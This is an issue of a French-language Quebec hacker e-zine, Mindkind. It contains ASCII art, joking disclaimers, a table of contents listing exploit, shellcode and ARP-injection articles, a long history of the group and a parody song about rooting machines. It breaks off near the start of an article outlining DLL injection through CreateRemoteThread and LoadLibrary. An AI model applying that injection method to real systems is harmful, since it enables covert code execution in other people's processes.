##

##

##

##

##

    best viewed in with firefox
    topic
          ___________________                                                                    __________________
    ..---`                   ``-.                                                        ___,,--`                  `--,
    `,    --__.-----------.--_   --.                   .-----------.               ,----'    ___             _________;
     '.       |  `,    .` |,     __,`                 ,\ `.     /` |              .``---,__,``   ``----------`
       `.,____|`.  .  / .`| ----'                     | `. \  ,'  /|            /  , O  . \
              |  \  \/ /   |                          |   \ `.  ,'             |, o  . , o |
              |   ' XX\     \                        /     `/ X,         _____|  . _______|,,,.------.
              |   /`\  \     \                      /     ,' X/ \  |  _--'      `--'                 ,`
              | ,' / \  \     \                    /     /  /  \ `,|   '.   --__      _____________-`
              |- ,'   `. `,   .\                  /\    /  /    `. |     ',_______,-``o ,-
              \,-       \  .,/ /\                /\ ` ,' ,'       \/               `'-'`
                `',      ' X\,`  \              /  `\/X,/      ,'`
    _____          `\    /\X `,   \            /    /X,'',   /`
         '------_____`./` / \  .   \          /,  ,' / \, \.`
    _____              \/`   `. \ / \        /  \/  /    \/                                    _________
         ----___        `.     \X',/`\      / \./X,'    .`         ,^.                   ___--`         `--___
                     __,,'\    /\X \  '    '  ,'X/ \,  /          / | \           _-----`                     `.
    ----__________-``      `./` /`. \.`    `\/ .'`\  \`          /  |  \          |          -----____-----     \
                             \/`   ,` \    / \,`   '/           /___x___\          ,                           __;
                              `.  /\    \ /   /\  .`            \   |\  /           ``''-----.,____    __,--'''
                                '`  \,  ./   / \`'               \  | \/                           `'''
                                      \/..  /   \                 \ | /\
                                      /|OO|/\    ;                 \|/  \
                                     /  ''/  \  _|                       \
                                 /\ /    /\   \//-                       \
                               .`  ,,  / --\  -' ``.                      \
                              /   /  ,/     \- `    .                      \
                            ./ \./  / `\   /` \ `. / `.                     \       Mindkind
                           /  `.'X /   /   .   \  \  / \                     ,         mantra
                         .`   ,'X,'\. /    |\   \XX\`   \                    \
                        /    /  ,'\, /     | \/` ,\ \    `\                   \
                      ./ \. /  /    \/     | \  /  \ `.   /`.                  |
                    ,-  \. '  /     /-+    |  \`    \  \,' / -,                 \
               _,.'`      /XX/     /  |    |  |\     \  \,'    `'.,_             ,      -The goal is yours,
              /\         '  / `\  /-+-+    |  +-\    ,`XX\         .\            \       chose a system,
              | `.     ,'  ' \, \/| | |    |  | |\  / ,`. `       ` |             \      use it,
              |`. ',  /  ,'    \| +-+-+    |  +-+--` /   \ `.   ,` /|              \     Just don't get
              |  `, \/  /       /          |      \/`     \  \ / ,' |               \    caught by it.
              |    '/X /       /           |       \       \ X\ /   |               \
              |    / X/\      |            |        |       \ X\    |                \
              |   '  /`.`.    /            |        \     ,' \  `.  |                 \
              | ,'  '   `.`, |    +-+-+    |  +-+-+  |   /  / `.  , |                  \
              |/  ,'      ',';    | | |    |  | | |  |  '  /    \  \|     \  \_,./      ,
              |  /          ||    +-+-+    |  +-+-+   |` ,'      \  | |    \ / /        \
              '------------- |    | | |    |  | | |   `-------------' \\/  .' /\/        \
                             |    +-+-+    |  +-+-+   |              /\ \  | |  \         \
                            /              |          \             /  \ | \  |            \
                           /               |           \               /||/ | |/    \/      ,
                          /                |            \               | \ | |  __ /       \
                         /         __,,,,../\.,,,,_      \         .|  | \ `  |./  `--_      \
                        /--'''`````         |      ```''--\       -\`-,/  |\  / / .--,/       \
                       /       ______       |              \       /\  \. | |  / /   \         \
                      /       /____ /        \              \        \   `\    ,/    /\        \  .-.
                     /       |`    ||        |               \       /`---_   / \/              \|` {}
                    /        |     ||        |                \     /     |  /|  \/              ''-'}
         _,,       /         |    o||         |                \         .` | |  |                \|
      ,-`   `.,,,,/.......,,_|_____||__,,,,.-- `'.,      _,,,,,,\       /      ,                   |
    -`                                             ``````       `'.,,__/       \                  /|
                                                                       `````'''\\-.,......-````````````

    les dix claimers ;)

    Live du nouveau command center, un nouveau e-zine est assemblé. Suite  une peste noire qui à
    fait rage derrière les murs de la civilisation, la rédaction d'un nouveau e-zine a été retooler
    en masque sanitaire et en égout fluvial. On vient à peine de bruler les derniers rats qui
    restaient, et une nouvelle ère de prospérité feudal s'annonce au son des toux sèches de nos
    concitoyens.. L'environnement de vie a changé d'air, la capitale politique a doublé sa réserve
    d'oxygène et espère remplir le tout d'un puissant Multi-VAC pouvant résoudre de grandes énigmes
    existentielles. Le tout récent ajout d'une console de communication nous permet de mieux dissiper
    le fog-of-war, et les réels objectifs percent déjà les nuages de l'inconnue. Sous cette avalanche
    de métaphores, on désire simplement vous rassurer en prétendant être digne de vos attentes,
    en vous offrant d'abord un disclamer dans les règles de l'art ;).. et et ensuite un zine des plus
    culturel. Puisse-il rayonner à votre chevet, mettant à jour votre perception toute relative
    de l'ignorance. Et à cette fin, nous désirons vous rappeler qu'il serait hasardeux de nous pointer
    du doigt en disant "j'savais pas, c'est la que j'ai lu ça ".. Car si tel est bien le cas, vous
    devrez accepter que la lecture seule de cette oeuvre est en soi une acceptation intégrale et
    éthique de l'objectivité nécessaire à la pratique de certaines théories. Si  vous lisez donc par
    mégarde ce texte sur les toilettes d'un ami, et que vous êtes perturbé, psychologiquement
    (ou plutôt physiquement) arrêtez sur le champ le supplice qu'on vous impose, et concentrez-vous
    plutôt sur votre bienêtre immédiat..
    Il est aussi à noter que toutes fautes ou erreurs de français pouvant s'être introduit dans cet
    ouvrage peut-être l'oeuvre de fantômes britanniques désireux de pousser plus loin une guerre de
    la langue en ces temps incertains.

    Pour tout les autres, le temps de distortionne déjà, et vous pénétrer dans un roman technique de
    science-fiction. La gravitée perd déjà de son emprise, et vous fonder doucement dans l'écrit en
    question..Vos paupières sont lourdes... lourdes... vous êtes en transe, les mots qui sont écrits
    ici n'ont déjà pour vous plus aucun sens.

    [Seules les personnes munies des paupières translucides de la lucidité diligente devraient pouvoir
     lire maintenant]
                                                -Got your's ?

        _____   ________ ________ ______ ____ __  __   _
      /____/  /       //       //  /\  \\   \\ \ \ \  \\   \
       ___   /   ____//_______//__/  \__\\___\\_\ \_\  \\   \
      |   | |   /                /    \
      |   | |  |                /  /\  \
    __|___|_|__| _______ ___ __/__/__\__\__ ___ __  __   _
    __\\________\\______\\__\\____________//__//_/ /_/  //  /
      |\\ | |  |     |  |    /  /      \  \
      | \\| |   \___/   |   /  /   /\   \  \
      |  \   \         /   /  /   /  \   \  \
       \  |   \_______/   /  /   / /\ \   \  \
    __|\\ |______________/  /___/ /  \ \___\  \____ ___ __  _
      | \\|                    / /    \ \
      |__\.                        /\

    Nous autres on n’est pas méchant, on les met au microondes.

         __  __           __  _____
        / / / /___ ______/ /_|__  /   _____  _____
       / /_/ / __ `/ ___/ //_//_ < | / / _ \/ ___/
      / __  / /_/ / /__/ ,< ___/ / |/ /  __/ /
     /_/ /_/\__,_/\___/_/|_/____/|___/\___/_/     - (c)Hack3ver - All rights reversed.

    Bienvenue sur Hack3ver !
    Tout le contenu de ce site est là pour information, distraction, et pour rendre compte des dangers
    d'un système mal configuré . Hackever est un site déstiné aux passionnés d informatiques qui
    souhaitent apprendres et partagez leurs connaissances. L'équipe de Hackever et son hébergeur ne
    sont en aucun cas responsables des actes ou agissements quelque en soit la sorte, qui pourrait
    survenir après la lecture de ces articles, de son forum ou de son chan irc. Le Code pénal Français
    réprime les intrusions et le maintient dans un système informatique. Hackever vous invite donc à
    prendre connaissance des lois françaises et des respectés avant de rentrer sur ce site.

     Si vous ne comprenez pas, ou n'êtes pas d'accord avec ce qui est écrit ci-dessus et que vos
    intentions sont d'enfreindre ces règles, ne lisez pas nos articles, notre forum, et ne venez pas
    sur notre chan irc. Pour nous contacter : #hackever sur irc.worldnet.net .

    Outl4wz

    Souviens-toi que tout le concept du hacking est d'explorer les limites et de créer quelque chose
    de nouveau, et c'est probablement surprenant. Le fait que quelque chose n'ai jamais été fait avant
    ne doit pas t'arrêter à tenter de le faire. Au contraire, tu devrais le prendre comme un défi.
    Chaque fois que tu te demandes si c'est possible de le faire, la bonne réponse est "Tu n'as qu'à
    essayer". enfin, outl4wz ne garantit pas le bon fonctionnement de programmes Il rejette toute
    responsabilité pour toute perte, directe ou indirecte,

    Avis à tous les l33t0z ceci n'est pas une joke.
    Ceci est un article qui vous permettra de détourner des milliers de dollars et de priver des milliers
    d'Américains d'eau et d'électricité, donc utilisez cet article avec modération dans un but d'acquérir
    des connaissances et non de nuire à la santé des autres.

    En d'autres termes ceci ne sert strictement à rien :p c'est juste histoire de faire le type bien et de
    remplir une intro pour faire style :) Cet article est purement théorique, et puis la démonstration faite
    est basée sur une faille qui est désormais quasiment introuvable :) et finalement.. comme dirait mon prof
    de physique appliquée, "ceci ne vous mènera à rien, mais il faut le savoir pour la suite" :)

    Donc les phrases du genre "je ne serais pas tenu responsable " vous pouvez vous les mettre ou je pense ;)
    Bonne lecture, et puis si vous trouvez des choses incohérentes ou n'importe quoi d'autre, trouvez-moi,
    c'est pas difficile je suis partout ;) (tu me crois pas regarde dans le lit de ta copine ;) )

    ---------------------------------------------------------------------------------------------..,
                                                                                                    `'.
                                                                                                       `'
    -----------.                                      ,--------,               ,-----.        ,---.,     `.
                \                                    /          \             /       \      /      `.     \
                 `----------------------------------'            `-----------`         `----'         `.    \
                                                                                                        \    \
            ,-----------------------------------------,       ,---------------,       ,------,           \    \
          /````\                                       `,   /````\             `,   /````\    `,          \    \
         ;      \                                        ; ;      \              ; ;      \     ;          ,    ,
         ,       \ [O1[ Le patrimoine lemurien           ; ,       \ [ Wyzeman  ] ; ,       \[CA];          |    \
        /        \                                       `/        \             `/        \    `,          |    |
        |         | [O2[ Dll Injection Reinvented         |         | [Ivanlef0u] |         |[FR]|          \    |
        |         |                                       |         |             |         |    |           |    |
       /           \ [O3[ NSocket - Socket Layer          `.         \ [  Ninja  ] \         \[CA]\          |    |
       |           |                                       |         |             |         |    |           \   \
       |           | [O4[ Exploit PWSPHP V1.2.3            |         | [|folcan| ] |         |[FR]|           |    |
       |           |                                       |         |             |         |    |           |    |
       /           \  [O5[ Intro To Nintendo DS Hacking     ;         \ [Dr Gonzo ] \         \[AU]\          |    |
      |             |                                       |         |             |         |    |          \    \
      |             | [O6[ Get started with freeBSD         |         | [   Oda   ] |         |[FR]|           |    |
      |     ,-,     |                                       | ,-,     |             | ,-,     |    |   ,-,     |    |
    ---------- \    | [O7[ Get Root,with small buff. no NOPs|--- \    | [ icefox  ] |--- \    |[FR]|----- \    |    |---
              ` |   |                                       |   ` |   |             |   ` |   |    |     ` |   |    |   `.
               ||   | [O8[ Arp injector                     |    ||   | [Ivanlef0u] |    ||   |[FR]|      ||   |    |    |
              , |   |                                       |   , |   |             |   , |   |    |     , |   |    |   .'
    ---------` /    | [O9[ Utilisation de l'espace mem en c |--` /    | [  Kitoy  ] |--` /    |[FR]|----` /    |    |--`
      |     `-'     |                                       | `-'     |             | `-'     |    |   `-'     |    |
      |             | [1O[ Securisation dune FreeBSD        |         | [   Oda   ] |         |[FR]|           |    |
      |             |                                       |         |             |         |    |          /    /
       \           /  [11[ Les feseux de veriter           ;         / [  c4ndu   ] /         /[CA]/           |    |
       |           |                                       |         |             |         |    |           |    |
       |           | [12[ Things that goes BOOM            |         | [  Ninja  ] |         |[CA]|           |    |
       |           |                                       |         |             |         |    |           /   /
       \           / [13[ Get started with ubuntu linux   ,`         / [ Burn3D  ] /         /[CA]/          |    |
        |         |                                       |         |             |         |    |           |    |
        |         | [14[ Shellcode                        |         | [ Darkis  ] |         |[MA]|          /    |
         ,       ;'                                       ;        ;'             ;        ;'    '          |    |
         \       , [15[ RLREP                            ; \       , [  Ninja  ] ;`\       ,[CA];'         |    /
          \     /                                       /`  \     /             /`  \     /    /'          `    `
           .   /                                       /     .   /             /     .   /    /           /    /
            `-----------------------------------------'       `---------------'       `------'           /    /
                                                                                                        /    /
                 ,----------------------------------.            ,-----------.         ,----.         ,'    /
                /                                    \          /             \       /      \      ,-     /
    -----------'                                      `--------'               `-----'        `---'`     ,'
                                                                                                       _-
                                                                                                     .'
    ---------------------------------------------------------------------------------------------''``

           ..                     ,.-..                     ,..,
          |  |                  .`     `.                  |    |
          |''|                  |`'---'`|                  |`'-`|
          |<<|                  | _____ |             _,,..|[}{]|.,,,
        _,|<<|,,                | \ D / |         ,-``     |[}{]|    ``',
      .`  `..'  `.              |  |A|  |         |-,,     ``--''    _,-'|
      | `''--''` |              |  |T|  |         |   ``'''------''``    |
      |  [ O1 ]  |              |  |A|  |         |     [ Mindkind ]     |
      `.   ~~   .'              | /   \ |         `-,,    ] 1010 [   _,-'
        `''--''`      _,,,,,,...||  C  ||.....,,,,,,_ ``'''------''```
          |<<|.-''```` _,,,,,...|[  O  ]|...,,,,,,_  ```''-|[}{]|
        ,```   .,-''```         |[  R  ]|          ``''-., |[}{]|,
       |      `.        _,,,,...||  E  ||...,,,,,         '|[}{]| |
       |`-,_   `'-.,,_,`********| \   / |********`._,,.-'` |[}{]|'|
       |    `''-.,,,_ `````'''''---------'''''`````  _,,,.-|[}{]| |
       |`-,_         `````''''''---------'''''''`````      |[}{]|'|
       |    `''[                                          ]|[}{]| |
       |`-,_   [          Le patrimoine lemurien          ]|[}{]|'|
       |    `''[                                         ] |[}{]| |
        `-,_        [                              ]  _,,..|[}{]|.,,,
          |<;`'-.,,,_                             ,-``     |[}{]|    ``',
        ,`     ;     ```;;;;;;;;---------;;;;;;;;;|-,,     ``--''    _,-'|
       |`-,_   `'-.,,_,`********|[ !?! ]|********`|   ``'''------''``    |
       |`-,_`''-.,,,_ `````'''''---------'''''````|     ] Wyzeman  [     |
       |`-,_`''-.,,, `````''''''---------'''''''```-,,               _,-'
        `-,_`''-.,,,[                                ]``'''------''``
          |<`|'-.,,,_[                              ]_,,,.-|[}{]|
          |<<|       `````''''''---------'''''''`````      |[}{]|
          |<<|                  |]Aka: [|                  |[}{]|
          |<<|             ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__
          |<<|,,.--'''`````   __| \ D / |....--------------|[}{]|,,,,,,,,_   `````'''--..,,_
      _.-'``       ,,.--'`````  |  |A|  |                  |[}{]|         `````''-.,,       ``'-.,
     ;           -`             |  |T|  |,.....----------..|[}{]|,,,_                `'           ;
     |`'-.,,       `''-..,,,_.-`|  |A|  |******************|[}{]|****````-_,,,,,.--'`       _,,-'`|
     |      ```''--..,,,,,_   ```````''''''''--------------''''''''```````   __,,,,..--''```      |
     |                     ````````''''''''''--------------''''''''''````````                     |
     |                                                                                            |

    Bonjours a vous Lemurien d’un peu partout et ailleurs. Les récents évènements et les conséquences
    qui en on suivit font en sorte que le patrimoine Lemurien de se mois-ci sera consacré a une
    rétrospective de l’histoire de Mindkind afin de mieux saisir les troubles qui on ébranler votre
    groupe favoris ;) et les solutions mises en oeuvre pour redresser la situation. La fin du
    patrimoine de se ezine-ci vous permettra d’entrevoir les visées de Mindkind dans un avenir
    rapprocher.

    Pre-histoire
    Mindkind 1.0
    Mindkind 2.0
     Golden Age
     dark age
    Mindkind 3.0

    Pre-histoire

    On peu remonter loin dans l’histoire de la scène québécoise pour trouver les racines du groupe
    Mindkind, le projet-orb, a l’époque de IGA, est probablement la première version bêta d’un essai
    de quelque chose qui ressemble a mindkind. En dautre mots on parle ici de l’australopithèque du
    Lemurien moderne. L’idée était de rassembler les leaders des différents groupes québécois sur un
    chatline d’eggdrop. Mais bon, le projet a fini par avorter, raison : “les eggdrops c “lame” !”.
    La 2eme beta fu nommer Acme, qui avait pour but de créer un ezine a l’aide du staff de sector_x 2
    (voir mon article sur l’histoire de la scène QC pour ceux qui sont perdus). Acme est à l’origine
    du Schisme qui divisa sector_x 2 et créa éventuellement sa fin. Acme fut renommé Mindkind par
    les anciens partisans du ezine de sector_x, et ainsi débutait la construction du groupe
    Mindkind 1.0

    Mindkind 1.0
    Mindkind est née de l’imagination de Lastcall est Wyzeman, idée dans l’ombre a la fin de
    l’époque IGA et durant les 2 ere sector_x, Mindkind est surgi du néant en 2000 pour y retourner
    aussi vite quelque mois plus tard suite a “l’échec ” relatif a ce qui étais espère vis-avis les
    réactions engendrer par le premier Ezine. Les espoirs étant grand, on avait jeté les bases du
    groupe lors dune réunion irl au scratch en banlieue de Montréal, réunion a laquel Lastcall,
    wyzeman, qwzykx, jackel, naxis et zarath avait assister, bien que durant tout l’ere de
    mindkind 2.0 on ait proclamé que les fondateurs de mindkind étais ceux de la 2eme version, ce
    n’est pas tout a fait le cas comme vous le voyez aujourd’hui, néanmoins du point de vu de
    Mindkind 2.0 ce n’était pas entièrement faux. Ce qui est ressorti de cette première réunion
    fu conservée dans un file nommée mkd-howto1-0.txt et conservée par lastcall. Manquais a la
    réunion phawnky init_null et mindflayr qui n’avaient pu se déplacer, leur rolle n’ent sera pas
    moins important, car on leur doit la survie du groupe durant l’inter reigne de mindkind 1.0 a 2.0.
    Ils sont en quelque sorte les leaders obscures dune version 1.5 non officielle. Le groupe avait
    été confier a Gonzo, qui lavait plus ou moins abandonner, ne croyant pas réussir là où tout le
    monde pensais échouer anyway. La staff liste de la version 1.0 de Mindkind joue entre 10 et 15
    membres selon les différents points de vue.

    Mindkind 2.0

    Golden Age
    La version 2.0 de Mindkind est la version connue par la plus grande majorité d’entre vous. Sans
    raison apparente, un noyau suffisamment actif de membre de mindkind était revenu au HQ et la
    machine s’était remise en marche pour la production d’un 2eme ezine. Cette remise en fonction est
    attribuée a la résistance conservatrice d’Init_null, mindflayr et phawnky, combiner a la technique
    du chalet d’été employer par lastcall_ et du retour au bercail de Wyzeman et Qwzykx, c4- se greffa
    a ce qui était appelé a l’époque le “kernel mindkind”. Wyzeman et Lastcall formant à 2 un
    micro-kernel, l’un dédié à la construction interne du groupe, l’autre à son expansion. Chaque
    membre du kernel étais supposer couvrir une région géographique du Québec, ainsi a notre création,
    mindkind couvris, d’ouest en est, Hull, Montréal, Trois-rivière, Chicoutimi, Québec pour le Québec,
    C4 tant qu’a lui obtenait la couverture de l’ensemble du territoire du Nouveau-Brunswick. h3, vient
    bientôt ajouter Valleyfield sur la carte de Mindkind ainsi que rtfm et boiss qui venait fortement
    renforcer notre emprise sur le centre du Québec en venant s’aligner au coté de Mindflayr à
    Trois-rivières. Lastcall quant à lui fidèle a sa technique du chalet d’été maintenant aussi une
    présence partielle dans la région. De plus, Lastcall grossissait son château fort à Mtl, pendant
    que Wyzeman ouvrait un outpost, premier contact direct avec le public sur #mindkind.org . La
    version 2.0 de Mindkind s’étend de 2001 a 2005, et vue la parution des ezine #2 a #8, et
    l’émergence de Radio 31337, créer jadis, a l’époque de la fin de IGA et des débuts de Sector_x 1,
    par Init_null, maintenant soutenu par un des chalets d’été a lastcall_. La présence de Mindkind
    au Saguenay se faisait aussi de plus en plus dominante grâce au nombreux et talentueux contact
    d’init_null.

    Ayant la certitude d’avoir saturé le marcher québécois, Wyzeman décida qu’il fallait lancer le
    groupe a l’assault du marcher francophone international et s’empara grâce a ses crapuleux talent
    de S-E du sacrosaint #hack.fr undernet, tomber à la main des barbares en 2000. Tout allait pour le
    mieux, les victoires s’accumulaient coup sur coup, ezine apres ezine, nous éclipsions toute
    concurrence québécoise, nos succès à l’hackfest témoignant que nous ne sommes pas que des beaux
    parleurs, Pyrofreak et certains autres groupes en ayant déjà fait les frais d'ailleurs. Le groupe fit
    aussi durant cette période de nombreux meetings irl, a ce niveau, la période 2003-2004 fut
    particulièrement fructueuse, au point ou 2 Power Point? furent créé a cet effet et le howto en fu
    porter a sa 7eme revision. Lastcall_ créa un slide show des réunions les plus significatives

    powerpoint 1 mindkind tour 2003
    slideshow
    mkdhowto 7.0

    Dark Age
    Tout semblait aller pour le mieux et aucune limite ne semblait trop loin pour Mindkind, mais dans
    l’équation on avait naïvement oublié la réalité. Études, travail et femmes grugent beaucoup de temps
    qu’un Lemurien peu donner a sa patrie, certains Lemurien doivent quitter leur fonction pour un
    temps, le groupe y était habitué, c’est un processus normal et régénérateur, mais lorsque le membre
    en question s’appelle lastcall, les répercussions sont plus importante, en tant que membre du micro
    kernel responsable de l’intérieur, sont depart signifie que le second membre du micro kernel (voyez
    qu’on avait bien pensé d’en nommer 2) se voit doubler sa “charge de travail”. Étant donné qu’a
    cette époque, Mindkind listait 50 membres, dont une 30aine en reel activité. Et “l’empire extérieur”
    composais dune dizaine de cannelle “front-end” rassemblant une population de 150 users env, plus
    forum, radio, et autre projet plus discret. il fut impossible a l’ensemble du kernel de supporter
    la charge supplémentaire, et le manque de documentation (le howto était aux mains de lastcall_, et à
    vrai dire ne disait pas grand-chose après coup. D’un autre coter, Maznetwork ne remplissait n’y
    s’est promesse, n’y nos poche, fait représentatif, des non-efforts progressifs consentit dans les
    différents projets émergeant de Maznetwork. Ayant finalement perdu la casi totaliter de l’ile de
    Montréal et le support des élites a l’interne, une politique de fuite par en avant fu appliquer, en
    recrutant sans cesse, on parvint a maintenir un niveau de production suffisant pour conserver les
    apparences de “l’empire externe”. Mais de l’intérieur, le groupe s’effondrait et brulait ses réserves
    et ses ressources de façon dégénérative. Dans un ultime espoir de sauver le groupe, une série de
    reforme furent tenté en vain, trop compliquer, trop tard, la reforme priva le groupe de ses repères
    originel qui étais la seule chose qui maintenant encore une cohésion dans le groupe. Les chans, la
    mailling liste se desertere. Du grand groupe que Mindkind avait été, il ne restais plus que quelques
    nostalgiques qui finirent eux aussi par plier bagage. S’en était fini de Mindkind 2.0. Les reformes
    entreprise en Decembre 2005 on eu pour résultant la fermeture officielle du groupe, 1 mois plus tard,
    pratiquement jour pour jour.

    Powerpoint 2 Mindkind tour 2005

    Mindkind 3.0
    Bien que Mindkind a cessé d’exister en janvier 2006, sont esprit na pas prit long a se reformer
    quelque part. Le groupe certes n’existait plus, mais de nombreux ex membre on conserver contact entre
    eux, qui a leur façon on conserver l’étincelle de vie, suffisante pour ramener Mindkind du royaume
    des morts. De janvier à mars, aucun signe de vie, beaucoup de service ont été arrêter. Seul reste le
    site Web, qui a été remis en ligne. Le nombre de visite reste stable malgré tout. La fédération
    Hack.fr est restée intacte malgré la disparition subite de mindkind, qui faisait encore parti en
    apparence de la fédération malgré tout. En avril, Wyzeman décide de reprendre l’ezine, en son nom,
    comme mindkind n’existe plus, personne n’est la pour lui en empecher, et coup de maitre, avec l’aide
    seul de la fédération hack.fr et des contacts extérieurs de Mindkind et quelques ex membre, un Ezine
    Mindkind a été releaser. Limage semblait être resté intact, mais malgré l’ezine, et les signes de
    reprise, les visiteurs fuis le site, les quelques alliances forgées à la va-vite pour recréer un core
    actif mindkind s’effritent tout aussi rapidement. Wyzeman entreprend de libéraliser mindkind et
    release quelque artéfact de la version 2.0 a des personnages clef de la scène pour redémarrer certain
    projet. L’opération fournit des résultats mitigés. Néanmoins, la confiance semble revenir. Wyzeman
    et Qwzykx ébauche les premières lignes de ce qui deviendra le howto. le guide suprême de Mindkind,
    qui permettra de reconstruire le groupe sur des bases solides et fiables. Bien que désorganiser les
    quelques membres qui étaient restés réussisse à créer un certain dynamisme. Le Ezine se voir grandement
    libéraliser, maintenant construit sur un wiki, une équipe complète composer d’individu de différent
    groupe s’occupe désormais de la production. #hack.fr a été redonné aux puristes dans l’espoir que la
    qualité du chan s’améliore. La première réunion officielle de Mindkind 3.0 a lieu en juin 2006.
    Lastcall et Wyzeman s’entendent sur les bases du plan de reconstruction. Le howto est confirmé dans
    son rolle de référence ultime pour tout ce qui a trait au groupe mindkind. Il faudra attendre
    septembre pour qu’un nombre suffisant de responsables Mindkind se rencontre pour officialiser la
    première version du Howto et confirmer par le fait même le retour de Mindkind sous le # de version
    3.0. Au même moment, le nombre de visite remonte en flèche. Tout semble bien s’enligner pour que la
    reprise des activités de Mindkind se concrétise bien.

    Mindkind 3.0 Howto 1.0

    topic

    _________________________________________________________
                                                             |
     Entre-Articles                                  Wyzeman |
    _________________________________________________________|
        |    /   /                           |
        |   /   /                            |
        |  /   /                             |
        | /   /                              |
        |/   /                               |
        |   /                                &
        |  /                                 &
        | /                                 / \
        |/               [ Men without white hat - Safety Hack ]
        |
        |  We can hack if we want to
        |  We can leave your crews behind
        |  Cause your crews don't hack and if they don't hack
        |  Well they're no crews of mine
        |  I say, we can root where we want to
        |  A place where they will never find
        |  And we can hack like we come from out of this world
        |  Leave the real one far behind
        |  And we can hack
        |
        |
        |  We can hack if we want to
        |  We can leave your crews behind
        |  Cause your crews don't hack and if they don't hack
        |  Well they're no crews of mine
        |  I say, we can root where we want to
        |  A place where they will never find
        |  And we can hack like we come from out of this world
        |  Leave the real one far behind
        |  And we can hack
        |  Hack!
        |
        |  We can root when we want to
        |  The night is young and so am I
        |  And we can dress real neat from our hats to our hand
    ____|  And surprise 'em with the victory cry
           Say, we can hack if want to
           If we don't nobody will
           And you can hack real leet and totally remote
           And I can hack like an script kid

           I say, we can hack, we can hack
           Everything out of control
           We can hack, we can hack
           We're doing it from box to box
           We can hack, we can hack
           Everybody look at your root
           We can hack, we can hack
           Everybody takin' the roooooooot

           Safety hack
           Is it safe to hack
           Is it safe to hack

           S-s-s-s A-a-a-a F-f-f-f E-e-e-e T-t-t-t Y-y-y-y
           Safe, hack!

           We can hack if we want to
           We've got all your life and mine
           As long as we abuse it, never gonna lose it
           Everything'll work out right
           I say, we can hack if we want to
           We can leave your crews behind
           Cause your crews don't hack and if they don't hack
           Well they're no crews of mine

           Is it safe to hack, oh is it safe to hack [6x]
           Is it safe to hack

           ..                     ,.-..                     ,..,
          |  |                  .`     `.                  |    |
          |''|                  |`'---'`|                  |`'-`|
          |<<|                  | _____ |             _,,..|[}{]|.,,,
        _,|<<|,,                | \ D / |         ,-``     |[}{]|    ``',
      .`  `..'  `.              |  |A|  |         |-,,     ``--''    _,-'|
      | `''--''` |              |  |T|  |         |   ``'''------''``    |
      |  [ O2 ]  |              |  |A|  |         |     [ Mindkind ]     |
      `.   ~~   .'              | /   \ |         `-,,    ] 1010 [   _,-'
        `''--''`      _,,,,,,...||  C  ||.....,,,,,,_ ``'''------''```
          |<<|.-''```` _,,,,,...|[  O  ]|...,,,,,,_  ```''-|[}{]|
        ,```   .,-''```         |[  R  ]|          ``''-., |[}{]|,
       |      `.        _,,,,...||  E  ||...,,,,,         '|[}{]| |
       |`-,_   `'-.,,_,`********| \   / |********`._,,.-'` |[}{]|'|
       |    `''-.,,,_ `````'''''---------'''''`````  _,,,.-|[}{]| |
       |`-,_         `````''''''---------'''''''`````      |[}{]|'|
       |    `''[                                          ]|[}{]| |
       |`-,_   [          Dll Injection Reinvented        ]|[}{]|'|
       |    `''[                                         ] |[}{]| |
        `-,_        [                              ]  _,,..|[}{]|.,,,
          |<;`'-.,,,_                             ,-``     |[}{]|    ``',
        ,`     ;     ```;;;;;;;;---------;;;;;;;;;|-,,     ``--''    _,-'|
       |`-,_   `'-.,,_,`********|[ !?! ]|********`|   ``'''------''``    |
       |`-,_`''-.,,,_ `````'''''---------'''''````|     ] Ivanlef0u [    |
       |`-,_`''-.,,, `````''''''---------'''''''```-,,               _,-'
        `-,_`''-.,,,[                                ]``'''------''``
          |<`|'-.,,,_[                              ]_,,,.-|[}{]|
          |<<|       `````''''''---------'''''''`````      |[}{]|
          |<<|                  |]Aka: [|                  |[}{]|
          |<<|             ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__
          |<<|,,.--'''`````   __| \ D / |....--------------|[}{]|,,,,,,,,_   `````'''--..,,_
      _.-'``       ,,.--'`````  |  |A|  |                  |[}{]|         `````''-.,,       ``'-.,
     ;           -`             |  |T|  |,.....----------..|[}{]|,,,_                `'           ;
     |`'-.,,       `''-..,,,_.-`|  |A|  |******************|[}{]|****````-_,,,,,.--'`       _,,-'`|
     |      ```''--..,,,,,_   ```````''''''''--------------''''''''```````   __,,,,..--''```      |
     |                     ````````''''''''''--------------''''''''''````````                     |
     |                                                                                            |

    --------[ Intro

    Grut everyone, chose promise chose due dans le dernier article "L'injection des
    poulets" j'avais terminé en vous disant que j'allais vous montrer comment
    injecter une DLL dans un processus alors pour ceux qui ont pas suivi l'épisode
    je leurs conseille vivement de lire le précédent article et pour les autres
    d'aller se chercher une bière et de s'installer, car l'émission va commencer !

    Au programme ce soir mesdames et messieurs !!

    1. Film culte interdit au moins de 18 ans: Injecte-moi par derrière
    2. Documentaire sur la vie d'une DLL: Fuck me i'm a DLL
    3. Un nouvel épisode de: Les Experts en UserLand
    4. Un clip de Dj OllyBip: \x55\x8B\xEC
    5. Enfin, le thème de la nuit sera: la disparition des modules en UserLand
    6. Bonus Track
    7. Happy End

    --------[1.Injecte moi par derrière

    Il est de retour, pour vous jouer un mauvais tour ! Le toujours aussi fou
    Ivanlef0u, dans ce film il incarne un sérial-psychopathe-sodoculeur de process
    avec des DLL, notre héros aura fort a faire avec l'API Win32 et sera souvent mis
    en péril par les méchants qui veulent le capturer et lui faire manger des petits
    pots de blédina froid (sic!) mais il aura comme compagnon sa bible, Windows PSDK
    et son compagnon le fabuleux, l'irremplaçable, l'indestructible OllyDbg ! Alors
    notre héros va t’il se faire pogner et bouffer de la bouillie ou bien réalisera
    t'il son rêve de conquête du monde ? Pour le savoir regarder ce fabuleux film de
    Albert Bretzel sorti en 1984 avant JC (Jean-Claude), Bonne soirée a tous.

    Allay finit les conneries sur les petits pots et place au code.
    Pour injecter une DLL dans un processus c'est pas bien compliqué, on
    reprend le code de la dernière fois et on modifie une ligne, qui dit mieux !
    Voici l'idée: : précédemment on injectait un code ou plutôt un shellcode qui
    s'exécutait comme un grand avec le Thread nouvellement crée avec
    CreateRemoteThread(), hé bien la on va faire la même chose sauf qu'on va use
    LoadLibrary, cette magnifique fonction de Windows, voici son prototype:

    HMODULE LoadLibrary(
      LPCTSTR lpFileName
    );

    Il suffit donc de donner a LoadLibrary une string disant où est la DLL a chargée
    et c'est dans la boite :] On va lancer notre Thread ds le process distant
    sur le LoadLibrary de kernel32.dll et sur la stack, pointé par esp+4, on aura
    comme argument un pointeur sur la string de la DLL.

